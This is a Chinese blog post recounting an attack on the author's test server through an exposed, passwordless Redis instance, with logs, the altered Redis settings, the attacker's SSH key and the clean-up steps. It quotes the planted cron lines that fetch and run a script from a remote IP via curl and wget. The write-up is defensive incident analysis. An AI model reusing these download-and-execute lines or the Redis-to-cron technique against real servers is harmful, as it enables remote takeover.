`

记一次被人通过redis对服务器的攻击

 
阅读更多

 

1.在私服上登录redis,执行ping命令报出以下错误

[root@daVpMG221063 system]# redis-cli
127.0.0.1:6379> ping
(error) MISCONF Redis is configured to save RDB snapshots, but is currently not able to 
persist on disk. Commands that may modify the data set are disabled. Please check Redis
 logs for details about the error.

意思是当前redis服务是以 RDB快照方式进行持久化,但是现在不能将数据持久化到硬盘,ping命令有可能修改数据(修改完数据后续将被持久化)因此这个命令不允许操作

 

2.通过日志查看错误详情

130960:M 24 Dec 09:24:56.087 * 1 changes in 900 seconds. Saving...
130960:M 24 Dec 09:24:56.087 * Background saving started by pid 117722
117722:C 24 Dec 09:24:56.092 # Failed opening the RDB file ntp (in server root dir /etc/cron.d)
 for saving: Permission denied
130960:M 24 Dec 09:24:56.188 # Background saving error

 意思是在900秒内发生一次修改,触发持久化,但是不能打开RDB文件 /etc/cron.d/ntp 因此发生保存错误

 

3.登录本地redis,查看相关属性

127.0.0.1:6379> config get dir
1) "dir"
2) "/etc/cron.d"
127.0.0.1:6379> config get dbfilename
1) "dbfilename"
2) "ntp"

 发现属性被修改。

因为是用于测试的私服,所以redis配置相当不安全。防火墙开发了6379端口,redis的配置中bind注释掉、requirepass注释掉、protected-mode no,相当于这个redis服务向全网开发

 

4.赶紧查看redis服务归属人,果然是root。那当时自己启动redis服务时,应该是用在root用户下使用 redis-server方式启动(如果是用systemctl start redis方式启动,归属人应该是redis,原因看另一篇文章

[root@daVpMG221063 system]# ps -ef|grep redis
root      11249 116981  0 14:13 pts/0    00:00:00 grep --color=auto redis
root     130960      1  0 Dec17 ?        00:09:37 redis-server *:6379

 

5.既然被人做了手脚那就赶紧看 /root/.ssh目录下的 authorized_keys文件,果然被人添了公钥

[root@daVpMG221063 .ssh]# cat authorized_keys 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/cjOtl7EKcIPBchQkU/qKSGbe7A9MTvrwqBc6trso6UM
BpeTWY8loM1082h4HZ4daNJ1S8yB57PtOHSUwG//SD5ahYfOTOInQpU5p7mnczql9UPXO68VXukBpbmjueE
wVtXXFnd/9kZzqBroS9zMakKh53URPoKus4d/V7Ct5ecPSo2WDRJDLbewE9ojb+v4R8C4xartjNLsyUXRwq
gk1B6LKoLHXWUU55+LoaecFTBoBil+DP2Wxl2RhFaGCHItInwPgmtigYcOH/zMePw+aiXsYMbSzNtQswh3E
0h7bpxq7hgilFTglfmrZybF45enkjwr9cfsWpkQ6NQ1nONA9 root@doclever

那这个公钥的主人就能随时不用密码使用root账号登录到我的服务器了

 

6.这个人既然想在 /etc/cron.d下添加ntp文件,必定是要在我的服务器上添加定时器,进入/var/spool/cron目录果然看到一堆乱七八糟的文件,看下其中一个文件的内容

*/2 * * * * curl -fsSL http://122.51.164.83:7770/ash.sh | sh
*/4 * * * * curl -fsSL http://122.51.164.83:7770/ash.sh | sh
*/5 * * * * wget -q -O- http://122.51.164.83:7770/ash.sh | sh
*/3 * * * * wget -q -O- http://122.51.164.83:7770/ash.sh | sh

 这是要定时去执行这个服务器上的脚本

 

7.现在要做的就是删除 authorized_keys文件里的内容,并且删除/etc/cron.d目录下的定时任务文件,然后为redis服务增加安全措施

删除authorized_keys文件内容时提示

-- INSERT -- W10: Warning: Changing a readonly file

查看文件属性,果然被设置过

[root@daVpMG221063 .ssh]# lsattr authorized_keys 
----i--------e-- authorized_keys

想要使用 chattr 命令修改属性,报错 commond not found,使用whereis命令查看,果然/usr/bin/目录下的chattr文件被删除了,只能卸载重装了

 yum remove e2fsprogs
 yum install -y e2fsprogs
 chattr -i authorized_keys

 

 

 

 

分享到:
评论

相关推荐

    集群式项目解决一个账号只能登录一次。

    通过以上步骤,我们可以利用Spring Boot和Redis构建一个集群式项目,实现一个账号只能登录一次的功能。这不仅可以提高用户体验,也增加了系统的安全性。这种方案适用于多服务器部署的Web应用,尤其对于大型互联网...

    企业架构队列缓存中间件分布式Redis部署运维开发手册

    - **Session共享存储**:将用户的会话数据存储在Redis中,以便实现跨服务器之间的Session共享。 - **OpenResty动态限制IP访问**:结合OpenResty(一种基于Nginx的高性能Web平台)实现动态限制IP访问的功能,从而有效...

    网络服务器开发免费源码

    在IT领域,网络服务器开发是一项核心技能,尤其对于构建高性能、高并发的互联网应用至关重要。这份"网络服务器开发免费源码"提供了深入了解网络服务器工作原理的机会,是学习者宝贵的资源。下面将详细介绍其中可能...

    C#两个账号同时登录,后登录的账号将前一个账号挤掉

    综上所述,实现"同一个账号只能登录一次"涉及到多方面的技术和策略,包括会话管理、数据库交互、分布式系统支持以及安全措施。通过这些方法,可以有效地维护系统的稳定性和用户的安全体验。在实际开发中,需要根据...

    rest api java demo(一个记账工程)

    如果我们没有加时间戳参数的话,那么,他截获了请求url,再重发这个请求势必又是一次合法的请求。我在这里为了简单一些,就不加时间戳了,因为这在开发测试阶段实在是太麻烦了。 (3)关于redis和数据库的说明 ...

    防止重复登录

    令牌是服务器为特定操作或会话生成的一次性或短生命周期的字符串。登录成功后,服务器返回令牌,之后的请求都需要携带此令牌。当用户尝试在另一处登录时,旧令牌会被撤销,新的令牌生成,确保旧会话失效。 4. **...

    qq在线咨询插件 v1.0-源码.zip

    开发者可以通过研究源码学习如何应用这些安全措施,以及如何防止中间人攻击和数据篡改。 此外,为了优化性能,源码可能还包含了缓存策略的实现,比如使用Redis或Memcached来缓存常用数据,减少服务器压力。同时,...

    P2P金融借贷项目--源码+MySQL数据库

    【P2P金融借贷项目】是一种基于互联网技术的金融服务模式,它通过构建点对点的网络平台,使得资金借出者(投资者)可以直接与资金需求者(借款人)进行交易,消除了传统金融中介的角色,降低了融资成本并提高了资金...

    简单的网上聊天系统(做的有点乱,请大家原谅!)

    - 消息队列:为确保消息的有序性和避免服务器压力过大,系统可能采用消息队列(如RabbitMQ、Redis等)进行消息缓存和分发。 3. **数据库设计**: - 用户表:存储用户的基本信息,如ID、用户名、密码哈希等。 - ...

    c#+layui毕设邮箱系统.zip

    2. 邮件表:记录邮件的发送者、接收者、主题、内容、发送时间等信息,可以采用一对一或一对多的关系设计,以便于存储附件或多收件人邮件。 三、关键功能实现 1. 用户模块:用户注册时,需要对输入的邮箱地址进行...

    (附源码)springboot榆林市政务投诉系统 毕业设计 081000

    这个系统可能包含了用户提交投诉、查询处理进度、查看政务公开信息等功能,且附带了源代码,意味着可以进行深度学习和二次开发。 描述中的“要首页,可以加一点政务的内容,还用公开信息,查询什么的”进一步说明...

    jsp的航空订票系统

    JSP虽然更注重于视图的呈现,但其本质也是Servlet,JSP文件在第一次被访问时会被Web容器转换为Servlet类。通过`<jsp:include>`和`<jsp:forward>`等动作元素,可以实现页面间的跳转和数据传递。 3. **航空订票系统的...

    java web实现手机短信验证码登录实例源码.rar

    首先,短信验证码登录是现代Web应用中常见的安全机制,它通过发送一个一次性密码到用户的手机号码,确保只有拥有该号码的人才能进行登录。这个实例将展示如何实现在用户输入手机号后,系统自动发送一条包含验证码的...

    网络棋牌服务端

    网络棋牌服务端是一种用于支持在线多人游戏平台的..."珠帘3.03"作为一款服务端软件,其具体细节可能包括对游戏逻辑的优化、网络通信的改进以及其他功能升级,对于运营一个稳定、安全的在线棋类和牌类游戏平台至关重要。

    PHP米酷影院网站源码(MKCMS4.4.3完整版) 自动采集手机APP可对接微信_源码.zip

    学习和使用这个源码,不仅可以提升PHP编程技能,还能深入理解视频网站的构建过程,了解数据采集、接口设计、移动适配等多个方面,对于希望从事Web开发的人来说是一次宝贵的实践机会。但需要注意,任何商业用途的使用...

    论坛短消息(含源代码)

    还可以通过分页加载消息,减少一次性加载的数据量,避免页面加载过慢。 7. **扩展性**:随着用户增长,可能需要考虑负载均衡和水平扩展。消息系统可以采用发布/订阅模式,以支持高并发和大量用户。 8. **用户界面...

    PHP实例开发源码——PHP仿Pinterest图谱程序仿花瓣模板.zip

    该压缩包文件“PHP实例开发源码——PHP...通过对这个项目源码的分析和学习,你不仅可以提升PHP编程能力,还能掌握到构建一个社交图谱类网站的完整流程和技术栈,这对于任何想要从事Web开发的人都是一次宝贵的实践机会。

    Linux安全配置标准

    - 对redis服务进行安全配置,包括但不限于禁用不安全的功能、限制访问权限等措施。 通过以上详尽的安全配置指南,可以有效提升Linux系统的安全性,减少潜在的安全风险,确保业务系统的稳定运行。

    PHP聊天室源代码

    PHP作为一种广泛使用的服务器端脚本语言,尤其在网站开发领域有着广泛的应用,因此这样的源代码对PHP开发者来说是宝贵的参考资料。 源代码通常包含服务器端处理逻辑、用户界面(UI)设计、数据存储和检索以及实时...

    BLOG.zip_博客

    使用分页减少一次性加载的数据量,提高页面加载速度。 六、部署与运维 1. 部署:将编译后的应用程序部署到IIS服务器或其他云服务平台,如Azure或AWS。 2. 监控与日志:设置日志记录,监控系统性能,及时发现并解决...

Global site tag (gtag.js) - Google Analytics